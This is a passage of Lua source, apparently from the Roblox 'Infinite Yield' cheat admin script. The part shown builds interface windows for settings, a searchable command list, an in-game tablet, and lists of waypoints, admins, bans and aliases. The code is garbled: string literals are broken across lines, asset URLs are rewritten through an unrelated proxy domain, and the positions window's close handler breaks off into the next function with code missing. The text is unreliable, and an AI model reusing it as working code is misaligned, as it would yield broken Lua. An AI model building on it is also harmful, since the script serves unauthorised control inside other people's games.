' ..SettingsGUI.FeedbackMain.MtimeInput.Input.Text.. ' second(s)')
updatefile()
end)
--CMDBAR keybind
SettingsGUI.FeedbackMain.setBind.MouseButton1Click:Connect(function()
wait()
cmdbarbind = SettingsGUI.FeedbackMain.bindInput.Input.Text
cmdBAR.Text = 'Press ' ..cmdbarbind.. ' to focus the cmd bar'
Notify('Set the command bar keybind to
"' ..SettingsGUI.FeedbackMain.bindInput.Input.Text .. '"' )
updatefile()
end)
--Change prefix
SettingsGUI.FeedbackMain.setpre.MouseButton1Click:Connect(function()
wait()
cmdprefix = SettingsGUI.FeedbackMain.InputBox.Input.Text
Notify('Set prefix to "' .. SettingsGUI.FeedbackMain.InputBox.Input.Text ..
'"')
updatefile()
end)
--Check Box for notify
checked = "http://www.roblox.com/asset/?id=65492641"
unchecked = "http://www.roblox.com/asset/?id=65492651"
if suggestionstoggle == true then
SettingsGUI.FeedbackMain.CheckBox.Image = checked else
SettingsGUI.FeedbackMain.CheckBox.Image = unchecked end
SettingsGUI.FeedbackMain.CheckBox.MouseButton1Down:connect(function()
if suggestionstoggle == true then suggestionstoggle = false updatefile()
SettingsGUI.FeedbackMain.CheckBox.Image = unchecked else
suggestionstoggle = true
updatefile()
SettingsGUI.FeedbackMain.CheckBox.Image = checked end end)
--Check Box for allow friends on serverlock
checked2 = "http://www.roblox.com/asset/?id=65492641"
unchecked2 = "http://www.roblox.com/asset/?id=65492651"
if allowfriends == true then
SettingsGUI.FeedbackMain.CheckBoxS.Image = checked2 else
SettingsGUI.FeedbackMain.CheckBoxS.Image = unchecked2 end
SettingsGUI.FeedbackMain.CheckBoxS.MouseButton1Down:connect(function()
if allowfriends == true then allowfriends = false updatefile()
SettingsGUI.FeedbackMain.CheckBoxS.Image = unchecked2 else
allowfriends = true updatefile()
SettingsGUI.FeedbackMain.CheckBoxS.Image = checked2 end end)
--Check Box for JoinedLeft notifications
checked3 = "http://www.roblox.com/asset/?id=65492641"
unchecked3 = "http://www.roblox.com/asset/?id=65492651"
if JLnotify == true then
SettingsGUI.FeedbackMain.CheckBoxJL.Image = checked3 else
SettingsGUI.FeedbackMain.CheckBoxJL.Image = unchecked3 end
SettingsGUI.FeedbackMain.CheckBoxJL.MouseButton1Down:connect(function()
if JLnotify == true then JLnotify = false updatefile()
SettingsGUI.FeedbackMain.CheckBoxJL.Image = unchecked3 else JLnotify = true
SettingsGUI.FeedbackMain.CheckBoxJL.Image = checked3 updatefile()
SettingsGUI.FeedbackMain.friends.BorderColor3 = Color3.new(1,1,1)
SettingsGUI.FeedbackMain.everyone.BorderColor3 = Color3.new(0,0,0) end end)
cmds.Frame.holder.bar.cmds.MouseButton1Click:Connect(function()
cmds.Frame.holder.FeedbackMain:TweenPosition(UDim2.new(1.02,0,1.018,-
310),"Out","Quad",0.2,true) wait(0.1)
cmds.Frame.holder.size:TweenPosition(UDim2.new(1,-301,1,-
300),"Out","Quad",0.2,true) wait(0.2)
cmds.Frame.holder.bar.Hide.Visible = true
cmds.Frame.holder.bar.Hide:TweenSize(UDim2.new(0,20,0,20),"Out","Quad",0.2,true)
end)
cmds.Frame.holder.bar.settings.MouseButton1Click:Connect(function()
cmds.Frame.holder.size:TweenPosition(UDim2.new(1,-600,1,-
300),"Out","Quad",0.2,true) wait(0.1)
cmds.Frame.holder.FeedbackMain:TweenPosition(UDim2.new(1.02,-301,1.018,-
310),"Out","Quad",0.2,true) wait(0.2)
cmds.Frame.holder.bar.Hide.Visible = true
cmds.Frame.holder.bar.Hide:TweenSize(UDim2.new(0,20,0,20),"Out","Quad",0.2,true)
end)
cmds.Frame.holder.bar.Hide.MouseButton1Click:Connect(function()
cmds.Frame.holder.size:TweenPosition(UDim2.new(1,-301,1,-
640),"Out","Quad",0.2,true)
cmds.Frame.holder.FeedbackMain:TweenPosition(UDim2.new(1.02,-301,0.018,-
310),"Out","Quad",0.2,true) wait(0.2)
cmds.Frame.holder.bar.Hide:TweenSize(UDim2.new(0,20,0,0),"Out","Quad",0.2,true)
wait(0.2)
cmds.Frame.holder.bar.Hide.Visible = false end)
cmds.Frame.holder.bar.Exit.MouseButton1Click:Connect(function()
Input.Text = cmdbarbind Input_2.Text = cmdprefix Input_3.Text = Mseconds
cmds.Frame.holder:TweenSize(UDim2.new(0,300,0,0),"Out","Quad",0.2,true) wait(0.3)
cmds:Destroy() cmdOpen = false end)
cmds.Frame.holder:TweenSize(UDim2.new(0,300,0,330),"Out","Quad",0.2,true)
searchbar()
for i = 1, #HKV do
local YSize = 25
local Position = ((i * YSize) - YSize)
local newcmd = cmds.Frame.holder.size.MAIN.Example:Clone()
newcmd.Parent = cmds.Frame.holder.size.MAIN.CMDs
newcmd.Visible = true
newcmd.Position = UDim2.new(0,5,0, Position + 5)
newcmd.Text = "" .. HKV[i].Value
CMDss.CanvasSize = UDim2.new(0,0,0, Position + 30)
Input.Text = cmdbarbind Input_2.Text = cmdprefix Input_3.Text =
Mseconds
end
for i = 1, #CMDsV do
local YSize = 25
local Position = ((i * YSize) - YSize)
local newcmd = cmds.Frame.holder.size.MAIN.Example:Clone()
newcmd.Parent = cmds.Frame.holder.size.MAIN.CMDs
newcmd.Visible = true
newcmd.Position = UDim2.new(0,5,0, Position + 5)
newcmd.Text = "" .. CMDsV[i].Value
CMDss.CanvasSize = UDim2.new(0,0,0, Position + 30)
Input.Text = cmdbarbind Input_2.Text = cmdprefix Input_3.Text =
Mseconds
end
game.CoreGui.cp.Frame.holder.FeedbackMain:TweenPosition(UDim2.new(1.02,0,1.018,-
310),"Out","Quad",0.2,true) wait(0.1)
game.CoreGui.cp.Frame.holder.size:TweenPosition(UDim2.new(1,-301,1,-
300),"Out","Quad",0.2,true) wait(0.2)
game.CoreGui.cp.Frame.holder.bar.Hide.Visible = true
game.CoreGui.cp.Frame.holder.bar.Hide:TweenSize(UDim2.new(0,20,0,20),"Out","Quad",0
.2,true) end end
function searchbar()
local CSP = game.CoreGui.cp.Frame.holder.size.MAIN
local main = CSP
local frame = CSP:WaitForChild('CMDs')
local gui = CSP:WaitForChild('Search')
local focused = false
Match = function(name,str)
return name:lower():find(str:lower()) and true
end
gui.FocusLost:connect(function(enterpressed)
gui.Text = "Search"
end)
IndexContents = function(str,bool)
local Index,SizeY = 0,0
for i,v in next, frame:GetChildren() do
if bool then
if Match(v.Text,str) then
Index = Index + 1
v.Position = UDim2.new(0,0,0,Index*v.AbsoluteSize.Y-
v.AbsoluteSize.Y)
v.Visible = true
SizeY = SizeY + v.AbsoluteSize.Y
frame.CanvasSize = UDim2.new(0,0,0,SizeY)
else
v.Visible = false
end
else
v.Visible = true
SizeY = SizeY + v.AbsoluteSize.Y
frame.CanvasSize = UDim2.new(0,0,0,SizeY)
end
end
end
game:GetService('RunService').Stepped:connect(function()
if gui:IsFocused() and gui.Text == "Search" then
gui.Text = ''
end
end)
gui.Changed:connect(function()
if gui:IsFocused() then IndexContents(gui.Text,true) end
end)
IndexContents('',true)
end
function runwindow()
commands()
searchbar()
end
function movetab(speaker,PART)
game:GetService('RunService').Stepped:connect(function()
if PART ~= nil and speaker ~= nil and
speaker.Character:FindFirstChild('HumanoidRootPart') then
PART.Locked = true
local cf = speaker.Character.HumanoidRootPart.CFrame
local newcf = cf + cf.lookVector * 6 + Vector3.new(0, 1, 0)
PART.CFrame = newcf end end) end
hastab = {}
addcmd('tablet','opens tablet gui',{},
function(args, speaker)
for _, child in pairs( workspace:GetChildren()) do
if child.Name == speaker.Name .. "TAB" then
child:Destroy() end end
game:GetService('Chat'):Chat(speaker.Character, 'The command to close is "'..
cmdprefix .. 'dismiss"', 1)
local GUI = Instance.new("SurfaceGui")
local holder = Instance.new("Frame")
local bar = Instance.new("Frame")
local Title = Instance.new("TextLabel")
local MAIN = Instance.new("Frame")
local Example = Instance.new("TextLabel")
local CMDs = Instance.new("ScrollingFrame")
local PART = Instance.new("Part")
PART.Name = speaker.Name .. 'TAB'
PART.Color = maincolor
PART.Size = Vector3.new(7, 7.8, 0.2)
PART.Transparency = 0
PART.Locked = true
PART.CanCollide = false
PART.Parent = workspace
PART.Anchored = true
PART.Material = "Neon"
local GUI = Instance.new("SurfaceGui")
local holder = Instance.new("Frame")
local bar = Instance.new("Frame")
local Title = Instance.new("TextLabel")
local MAIN = Instance.new("Frame")
local Example = Instance.new("TextLabel")
local CMDs = Instance.new("ScrollingFrame")
GUI.Name = "GUI"
GUI.Parent = PART
GUI.CanvasSize = Vector2.new(500, 600)
GUI.Face = Enum.NormalId.Back
holder.Name = "holder"
holder.Parent = GUI
holder.BackgroundColor3 = Color3.new(1, 1, 1)
holder.BackgroundTransparency = 1
holder.BorderSizePixel = 2
holder.Position = UDim2.new(0, 0, 0, 10)
holder.Size = UDim2.new(0, 300, 0, 330)
holder.ZIndex = 2
bar.Name = "bar"
bar.Parent = holder
bar.BackgroundColor3 = Color3.new(0, 0, 0)
bar.BackgroundTransparency = 0.89999997615814
bar.BorderSizePixel = 0
bar.Position = UDim2.new(0, 10, 1, -330)
bar.Size = UDim2.new(0, 480, 0, 33)
Title.Name = "Title"
Title.Parent = bar
Title.BackgroundColor3 = Color3.new(0.639216, 0.635294, 0.647059)
Title.BackgroundTransparency = 1
Title.Size = UDim2.new(1, 0, 0, 30)
Title.Font = Enum.Font.SourceSansBold
Title.FontSize = Enum.FontSize.Size24
Title.Text = "[Infinite Yield] Command List"
Title.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392)
MAIN.Name = "MAIN"
MAIN.Parent = holder
MAIN.BackgroundColor3 = Color3.new(0, 0, 0)
MAIN.BackgroundTransparency = 0.89999997615814
MAIN.BorderSizePixel = 0
MAIN.Position = UDim2.new(0, 10, 1, -300)
MAIN.Size = UDim2.new(0, 480, 0, 550)
Example.Name = "Example"
Example.Parent = MAIN
Example.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
Example.BackgroundTransparency = 1
Example.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
Example.BorderSizePixel = 0
Example.Size = UDim2.new(0, 190, 0, 40)
Example.Visible = false
Example.Font = Enum.Font.SourceSansBold
Example.FontSize = Enum.FontSize.Size36
Example.Text = "txt"
Example.TextColor3 = Color3.new(0.972549, 0.972549, 0.972549)
Example.TextStrokeTransparency = 0
Example.TextXAlignment = Enum.TextXAlignment.Left
Example.ZIndex = 6
CMDs.Name = "CMDs"
CMDs.Parent = MAIN
CMDs.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
CMDs.BackgroundTransparency = 1
CMDs.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
CMDs.BorderSizePixel = 0
CMDs.Size = UDim2.new(0, 480, 0, 550)
CMDs.BottomImage = "rbxasset://textures/blackBkg_square.png"
CMDs.CanvasSize = UDim2.new(0, 0, 0, 4880)
CMDs.MidImage = "rbxasset://textures/blackBkg_square.png"
CMDs.ScrollBarThickness = 15
CMDs.TopImage = "rbxasset://textures/blackBkg_square.png"
local CMDsV = CMDsFolder:GetChildren()
for i = 1, #CMDsV do
local YSize = 35
local Position = ((i * YSize) - YSize)
local newcmd = Example:Clone()
newcmd.Parent = CMDs
newcmd.Visible = true
newcmd.Position = UDim2.new(0,10,0, Position + 1)
newcmd.Text = "" .. CMDsV[i].Value
CMDs.CanvasSize = UDim2.new(0,0,0, Position + 40) end
local cf = speaker.Character.HumanoidRootPart.CFrame
local newcf = cf + cf.lookVector * 6 + Vector3.new(0, 1, 0)
PART.CFrame = newcf
speaker.Character.Humanoid.Died:connect(function()
PART:Destroy() end)
wait(1)
PART.Transparency = 0.1 wait(0.05) PART.Transparency = 0.2 wait(0.05)
PART.Transparency = 0.3 wait(0.05) PART.Transparency = 0.4 wait(0.05)
PART.Transparency = 0.5 wait(0.05) PART.Transparency = 0.6 wait(0.05)
if FindTable(hastab, speaker.Name) then movetab(speaker,PART) return end
table.insert(hastab, speaker.Name) movetab(speaker,PART)
end)
function updatepositions()
if PList then
PList:ClearAllChildren()
PList.CanvasSize = UDim2.new(0, 0, 0, 10)
for i = 1, #WayPoints do
local YSize = 25
local Position = ((i * YSize) - YSize)
local newcmd = Example:Clone()
newcmd.Parent = PList
newcmd.Visible = true
newcmd.Position = UDim2.new(0,5,0, Position + 5)
newcmd.Text = " " .. WayPoints[i].NAME .. ": " ..
WayPoints[i].COORD[1] .. ", " .. WayPoints[i].COORD[2] .. ", " ..
WayPoints[i].COORD[3]
PList.CanvasSize = UDim2.new(0,0,0, Position + 30)
local goto = Instance.new("TextButton")
goto.Name = "goto"
goto.Parent = PList
goto.BackgroundColor3 = Color3.new(255, 255, 255)
goto.BackgroundTransparency = 0.30000001192093
goto.BorderColor3 = Color3.new(1, 0, 0)
goto.BorderSizePixel = 0
goto.Position = UDim2.new(0,-10,0, Position + 5)
goto.Size = UDim2.new(0, 20, 0, 20)
goto.FontSize = Enum.FontSize.Size14
goto.Text = ""
goto.ZIndex = 6
goto.MouseButton1Click:Connect(function()
execCmd("loadpos "..LP.Name.." "..WayPoints[i].NAME)
end)
end
end
end
posopen = false
addcmd("positions","lists waypoints",{'pos'},
function(args, speaker)
if posopen == false then
posopen = true
local Pos = Instance.new("ScreenGui")
local drag = Instance.new("Frame")
local PromptDialog = Instance.new("Frame")
local shadow = Instance.new("Frame")
local PopupText = Instance.new("TextLabel")
local Exit = Instance.new("TextButton")
local ContainerFrame = Instance.new("Frame")
PList = Instance.new("ScrollingFrame")
Pos.Name = "Pos"
Pos.Parent = game.CoreGui
drag.Name = "drag"
drag.Parent = Pos
drag.Active = true
drag.BackgroundColor3 = Color3.new(1, 1, 1)
drag.BackgroundTransparency = 1
dragGUI(drag)
drag.Position = UDim2.new(0.5, -150, 0, -400)
drag.Size = UDim2.new(0, 290, 0, 30)
PromptDialog.Name = "PromptDialog"
PromptDialog.Parent = drag
PromptDialog.BackgroundColor3 = Color3.new(0, 0, 0)
PromptDialog.BackgroundTransparency = 1
PromptDialog.BorderSizePixel = 0
PromptDialog.Position = UDim2.new(0, -10, 0, 0)
PromptDialog.Size = UDim2.new(0, 310, 0, 300)
PromptDialog.ZIndex = 8
shadow.Name = "shadow"
shadow.Parent = PromptDialog
shadow.BackgroundColor3 = maincolor
shadow.BackgroundTransparency = 0.30000001192093
shadow.BorderColor3 = Color3.new(0, 0, 0)
shadow.BorderSizePixel = 0
shadow.Position = UDim2.new(0.0322580636, 0, 0.00999999978, 0)
shadow.Size = UDim2.new(0, 290, 0, 26)
PopupText.Name = "PopupText"
PopupText.Parent = shadow
PopupText.BackgroundTransparency = 1
PopupText.Position = UDim2.new(0, 8, 0, -3)
PopupText.Size = UDim2.new(1, -16, 0.538461566, 0)
PopupText.ZIndex = 110
PopupText.Font = Enum.Font.SourceSansBold
PopupText.FontSize = Enum.FontSize.Size28
PopupText.Text = "Positions"
PopupText.TextColor3 = Color3.new(0.97, 0.97, 0.97)
PopupText.TextStrokeTransparency = 0
PopupText.TextWrapped = true
PopupText.TextYAlignment = Enum.TextYAlignment.Top
Exit.Name = "Exit"
Exit.Parent = shadow
Exit.BackgroundColor3 = Color3.new(1, 0, 0)
Exit.BackgroundTransparency = 0.30000001192093
Exit.BorderColor3 = Color3.new(1, 0, 0)
Exit.BorderSizePixel = 0
Exit.Position = UDim2.new(0, 267, 0, 3)
Exit.Size = UDim2.new(0, 20, 0, 20)
Exit.FontSize = Enum.FontSize.Size14
Exit.Text = ""
ContainerFrame.Name = "ContainerFrame"
ContainerFrame.Parent = PromptDialog
ContainerFrame.BackgroundColor3 = maincolor
ContainerFrame.BackgroundTransparency = 0.5
ContainerFrame.BorderColor3 = Color3.new(0, 0, 0)
ContainerFrame.BorderSizePixel = 0
ContainerFrame.Position = UDim2.new(0, 10, 0, 29)
ContainerFrame.Size = UDim2.new(0.935483873, 0, 0.806666672, 0)
ContainerFrame.ZIndex = 5
PList.Name = "List"
PList.Parent = ContainerFrame
PList.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
PList.BackgroundTransparency = 1
PList.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
PList.BorderSizePixel = 0
PList.Position = UDim2.new(0, 10, 0, 5)
PList.Size = UDim2.new(0, 280, 0, 230)
PList.ZIndex = 6
PList.BottomImage = "rbxasset://textures/blackBkg_square.png"
PList.CanvasSize = UDim2.new(0, 0, 0, 10)
PList.MidImage = "rbxasset://textures/blackBkg_square.png"
PList.ScrollBarThickness = 8
PList.TopImage = "rbxasset://textures/blackBkg_square.png"
updatepositions()
drag:TweenPosition(UDim2.new(0.5, -150, 0, 100), "InOut", "Quart", 0.5, true, nil)
Exit.MouseButton1Click:Connect(function()
drag:TweenPosition(UDim2.new(0.5, -150, 0, -400), "InOut", "Quart", 0.5, true, nil)
function updateadmins()
if AList then
AList:ClearAllChildren()
AList.CanvasSize = UDim2.new(0, 0, 0, 10)
for i = 1, #adminname do
local YSize = 25
local Position = ((i * YSize) - YSize)
local newcmd = Example:Clone()
newcmd.Parent = AList
newcmd.Visible = true
newcmd.Position = UDim2.new(0,5,0, Position + 5)
newcmd.Text = adminname[i].NAME
AList.CanvasSize = UDim2.new(0,0,0, Position + 30)
end
end
end
adminsopen = false
adminname = {}
addcmd('admins','displays admins',{'adminlist'},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker) else
if adminsopen == false then
adminsopen = true
local admins = Instance.new("ScreenGui")
local drag = Instance.new("Frame")
local PromptDialog = Instance.new("Frame")
local shadow = Instance.new("Frame")
local PopupText = Instance.new("TextLabel")
local Exit = Instance.new("TextButton")
local ContainerFrame = Instance.new("Frame")
AList = Instance.new("ScrollingFrame")
admins.Name = "Admins"
admins.Parent = game.CoreGui
drag.Name = "drag"
drag.Parent = admins
drag.Active = true
drag.BackgroundColor3 = Color3.new(1, 1, 1)
drag.BackgroundTransparency = 1
dragGUI(drag)
drag.Position = UDim2.new(0.5, -150, 0, -400)
drag.Size = UDim2.new(0, 290, 0, 30)
PromptDialog.Name = "PromptDialog"
PromptDialog.Parent = drag
PromptDialog.BackgroundColor3 = Color3.new(0, 0, 0)
PromptDialog.BackgroundTransparency = 1
PromptDialog.BorderSizePixel = 0
PromptDialog.Position = UDim2.new(0, -10, 0, 0)
PromptDialog.Size = UDim2.new(0, 310, 0, 300)
PromptDialog.ZIndex = 8
shadow.Name = "shadow"
shadow.Parent = PromptDialog
shadow.BackgroundColor3 = maincolor
shadow.BackgroundTransparency = 0.30000001192093
shadow.BorderColor3 = Color3.new(0, 0, 0)
shadow.BorderSizePixel = 0
shadow.Position = UDim2.new(0.0322580636, 0, 0.00999999978, 0)
shadow.Size = UDim2.new(0, 290, 0, 26)
PopupText.Name = "PopupText"
PopupText.Parent = shadow
PopupText.BackgroundTransparency = 1
PopupText.Position = UDim2.new(0, 8, 0, -3)
PopupText.Size = UDim2.new(1, -16, 0.538461566, 0)
PopupText.ZIndex = 110
PopupText.Font = Enum.Font.SourceSansBold
PopupText.FontSize = Enum.FontSize.Size28
PopupText.Text = "Admins"
PopupText.TextColor3 = Color3.new(0.97, 0.97, 0.97)
PopupText.TextStrokeTransparency = 0
PopupText.TextWrapped = true
PopupText.TextYAlignment = Enum.TextYAlignment.Top
Exit.Name = "Exit"
Exit.Parent = shadow
Exit.BackgroundColor3 = Color3.new(1, 0, 0)
Exit.BackgroundTransparency = 0.30000001192093
Exit.BorderColor3 = Color3.new(1, 0, 0)
Exit.BorderSizePixel = 0
Exit.Position = UDim2.new(0, 267, 0, 3)
Exit.Size = UDim2.new(0, 20, 0, 20)
Exit.FontSize = Enum.FontSize.Size14
Exit.Text = ""
ContainerFrame.Name = "ContainerFrame"
ContainerFrame.Parent = PromptDialog
ContainerFrame.BackgroundColor3 = maincolor
ContainerFrame.BackgroundTransparency = 0.5
ContainerFrame.BorderColor3 = Color3.new(0, 0, 0)
ContainerFrame.BorderSizePixel = 0
ContainerFrame.Position = UDim2.new(0, 10, 0, 29)
ContainerFrame.Size = UDim2.new(0.935483873, 0, 0.806666672, 0)
ContainerFrame.ZIndex = 5
AList.Name = "List"
AList.Parent = ContainerFrame
AList.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
AList.BackgroundTransparency = 1
AList.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
AList.BorderSizePixel = 0
AList.Position = UDim2.new(0, 10, 0, 5)
AList.Size = UDim2.new(0, 280, 0, 230)
AList.ZIndex = 6
AList.BottomImage = "rbxasset://textures/blackBkg_square.png"
AList.CanvasSize = UDim2.new(0, 0, 0, 10)
AList.MidImage = "rbxasset://textures/blackBkg_square.png"
AList.ScrollBarThickness = 8
AList.TopImage = "rbxasset://textures/blackBkg_square.png"
updateadmins()
drag:TweenPosition(UDim2.new(0.5, -150, 0, 100), "InOut", "Quart", 0.5, true, nil)
Exit.MouseButton1Click:Connect(function()
drag:TweenPosition(UDim2.new(0.5, -150, 0, -400), "InOut", "Quart", 0.5, true, nil)
wait(0.6) adminsopen = false admins:Destroy() end) end end
end)
function updatebans()
if BList then
BList:ClearAllChildren()
BList.CanvasSize = UDim2.new(0, 0, 0, 10)
for i = 1, #banname do
local YSize = 25
local Position = ((i * YSize) - YSize)
local newcmd = Example:Clone()
newcmd.Parent = BList
newcmd.Visible = true
newcmd.Position = UDim2.new(0,5,0, Position + 5)
newcmd.Text = " Name: " .. banname[i].NAME .. " | ID: " ..
banname[i].ID .. " | Age: " .. banname[i].AGE
newcmd.TextSize = 20
BList.CanvasSize = UDim2.new(0,0,0, Position + 30)
local delet = Instance.new("TextButton")
delet.Name = "delet"
delet.Parent = BList
delet.BackgroundColor3 = Color3.new(1, 0, 0)
delet.BackgroundTransparency = 0.30000001192093
delet.BorderColor3 = Color3.new(1, 0, 0)
delet.BorderSizePixel = 0
delet.Position = UDim2.new(0,-10,0, Position + 5)
delet.Size = UDim2.new(0, 20, 0, 20)
delet.FontSize = Enum.FontSize.Size14
delet.Text = ""
delet.ZIndex = 6
delet.MouseButton1Click:Connect(function()
execCmd("unban "..banname[i].NAME)
end)
end
end
end
banname = {}
bansopen = false
addcmd('bans','displays bans',{'banlist'},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker) else
if bansopen == false then
bansopen = true
local Bans = Instance.new("ScreenGui")
local drag = Instance.new("Frame")
local PromptDialog = Instance.new("Frame")
local ContainerFrame = Instance.new("Frame")
BList = Instance.new("ScrollingFrame")
local shadow = Instance.new("Frame")
local Exit = Instance.new("TextButton")
local PopupText = Instance.new("TextLabel")
Bans.Name = "Bans"
Bans.Parent = game.CoreGui
drag.Name = "drag"
drag.Parent = Bans
drag.Active = true
drag.BackgroundColor3 = Color3.new(1, 1, 1)
drag.BackgroundTransparency = 1
dragGUI(drag)
drag.Position = UDim2.new(0.5, -225, 0, -400)
drag.Size = UDim2.new(0, 438, 0, 26)
PromptDialog.Name = "PromptDialog"
PromptDialog.Parent = drag
PromptDialog.BackgroundColor3 = Color3.new(0, 0, 0)
PromptDialog.BackgroundTransparency = 1
PromptDialog.BorderSizePixel = 0
PromptDialog.Position = UDim2.new(0, 0, 0, -2)
PromptDialog.Size = UDim2.new(0, 438, 0, 300)
PromptDialog.ZIndex = 5
ContainerFrame.Name = "ContainerFrame"
ContainerFrame.Parent = PromptDialog
ContainerFrame.BackgroundColor3 = maincolor
ContainerFrame.BackgroundTransparency = 0.5
ContainerFrame.BorderColor3 = Color3.new(0, 0, 0)
ContainerFrame.BorderSizePixel = 0
ContainerFrame.Position = UDim2.new(0, 0, 0, 29)
ContainerFrame.Size = UDim2.new(1, 0, 0.829999983, 0)
ContainerFrame.ZIndex = 5
BList.Name = "List"
BList.Parent = ContainerFrame
BList.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
BList.BackgroundTransparency = 1
BList.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
BList.BorderSizePixel = 0
BList.Position = UDim2.new(0, 10, 0, 9)
BList.Size = UDim2.new(0, 428, 0, 230)
BList.ZIndex = 5
BList.BottomImage = "rbxasset://textures/blackBkg_square.png"
BList.CanvasSize = UDim2.new(0, 0, 0, 10)
BList.MidImage = "rbxasset://textures/blackBkg_square.png"
BList.ScrollBarThickness = 8
BList.TopImage = "rbxasset://textures/blackBkg_square.png"
shadow.Name = "shadow"
shadow.Parent = PromptDialog
shadow.BackgroundColor3 = maincolor
shadow.BackgroundTransparency = 0.30000001192093
shadow.BorderColor3 = Color3.new(0, 0, 0)
shadow.BorderSizePixel = 0
shadow.Position = UDim2.new(0, 0, 0.00999999978, 0)
shadow.Size = UDim2.new(0, 438, 0, 26)
Exit.Name = "Exit"
Exit.Parent = shadow
Exit.BackgroundColor3 = Color3.new(1, 0, 0)
Exit.BackgroundTransparency = 0.30000001192093
Exit.BorderColor3 = Color3.new(1, 0, 0)
Exit.BorderSizePixel = 0
Exit.Position = UDim2.new(0, 415, 0, 3)
Exit.Size = UDim2.new(0, 20, 0, 20)
Exit.FontSize = Enum.FontSize.Size14
Exit.Text = ""
PopupText.Name = "PopupText"
PopupText.Parent = shadow
PopupText.BackgroundTransparency = 1
PopupText.Position = UDim2.new(0, 61, 0, -4)
PopupText.Size = UDim2.new(0.760273993, -16, 1.15384614, 0)
PopupText.ZIndex = 6
PopupText.Font = Enum.Font.SourceSansBold
PopupText.FontSize = Enum.FontSize.Size32
PopupText.Text = "Bans"
PopupText.TextColor3 = Color3.new(0.97, 0.97, 0.97)
PopupText.TextStrokeTransparency = 0
PopupText.TextWrapped = true
PopupText.TextYAlignment = Enum.TextYAlignment.Top
updatebans()
drag:TweenPosition(UDim2.new(0.5, -225, 0, 100), "InOut", "Quart", 0.5, true, nil)
Exit.MouseButton1Click:Connect(function()
drag:TweenPosition(UDim2.new(0.5, -225, 0, -400), "InOut", "Quart", 0.5, true, nil)
wait(0.6) bansopen = false Bans:Destroy() end) end end
end)
function updatealiases()
if AlList then
AlList:ClearAllChildren()
AlList.CanvasSize = UDim2.new(0, 0, 0, 10)
for i = 1, #aliasSave do
local YSize = 25
local Position = ((i * YSize) - YSize)
local newcmd = Example:Clone()
newcmd.Parent = AlList
newcmd.Visible = true
newcmd.Position = UDim2.new(0,5,0, Position + 5)
newcmd.Text = ' Command: ['..aliasSave[i].CMD..'] Alias:
['..aliasSave[i].ALIAS..']'
newcmd.TextSize = 20
AlList.CanvasSize = UDim2.new(0,0,0, Position + 30)
local delet = Instance.new("TextButton")
delet.Name = "delet"
delet.Parent = AlList
delet.BackgroundColor3 = Color3.new(1, 0, 0)
delet.BackgroundTransparency = 0.30000001192093
delet.BorderColor3 = Color3.new(1, 0, 0)
delet.BorderSizePixel = 0
delet.Position = UDim2.new(0,-10,0, Position + 5)
delet.Size = UDim2.new(0, 20, 0, 20)
delet.FontSize = Enum.FontSize.Size14
delet.Text = ""
delet.ZIndex = 6
delet.MouseButton1Click:Connect(function()
execCmd("removealias "..aliasSave[i].ALIAS)
end)
end
end
end
aliasesopen = false
addcmd('aliases','displays aliases',{},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker) else
if aliasesopen == false then
aliasesopen = true
local aliases = Instance.new("ScreenGui")
local drag = Instance.new("Frame")
local PromptDialog = Instance.new("Frame")
local ContainerFrame = Instance.new("Frame")
AlList = Instance.new("ScrollingFrame")
local shadow = Instance.new("Frame")
local Exit = Instance.new("TextButton")
local PopupText = Instance.new("TextLabel")
aliases.Name = "Aliases"
aliases.Parent = game.CoreGui
drag.Name = "drag"
drag.Parent = aliases
drag.Active = true
drag.BackgroundColor3 = Color3.new(1, 1, 1)
drag.BackgroundTransparency = 1
dragGUI(drag)
drag.Position = UDim2.new(0.5, -225, 0, -400)
drag.Size = UDim2.new(0, 438, 0, 26)
PromptDialog.Name = "PromptDialog"
PromptDialog.Parent = drag
PromptDialog.BackgroundColor3 = Color3.new(0, 0, 0)
PromptDialog.BackgroundTransparency = 1
PromptDialog.BorderSizePixel = 0
PromptDialog.Position = UDim2.new(0, 0, 0, -2)
PromptDialog.Size = UDim2.new(0, 438, 0, 300)
PromptDialog.ZIndex = 5
ContainerFrame.Name = "ContainerFrame"
ContainerFrame.Parent = PromptDialog
ContainerFrame.BackgroundColor3 = maincolor
ContainerFrame.BackgroundTransparency = 0.5
ContainerFrame.BorderColor3 = Color3.new(0, 0, 0)
ContainerFrame.BorderSizePixel = 0
ContainerFrame.Position = UDim2.new(0, 0, 0, 29)
ContainerFrame.Size = UDim2.new(1, 0, 0.829999983, 0)
ContainerFrame.ZIndex = 5
AlList.Name = "List"
AlList.Parent = ContainerFrame
AlList.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
AlList.BackgroundTransparency = 1
AlList.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
AlList.BorderSizePixel = 0
AlList.Position = UDim2.new(0, 10, 0, 9)
AlList.Size = UDim2.new(0, 428, 0, 230)
AlList.ZIndex = 5
AlList.BottomImage = "rbxasset://textures/blackBkg_square.png"
AlList.CanvasSize = UDim2.new(0, 0, 0, 10)
AlList.MidImage = "rbxasset://textures/blackBkg_square.png"
AlList.ScrollBarThickness = 8
AlList.TopImage = "rbxasset://textures/blackBkg_square.png"
shadow.Name = "shadow"
shadow.Parent = PromptDialog
shadow.BackgroundColor3 = maincolor
shadow.BackgroundTransparency = 0.30000001192093
shadow.BorderColor3 = Color3.new(0, 0, 0)
shadow.BorderSizePixel = 0
shadow.Position = UDim2.new(0, 0, 0.00999999978, 0)
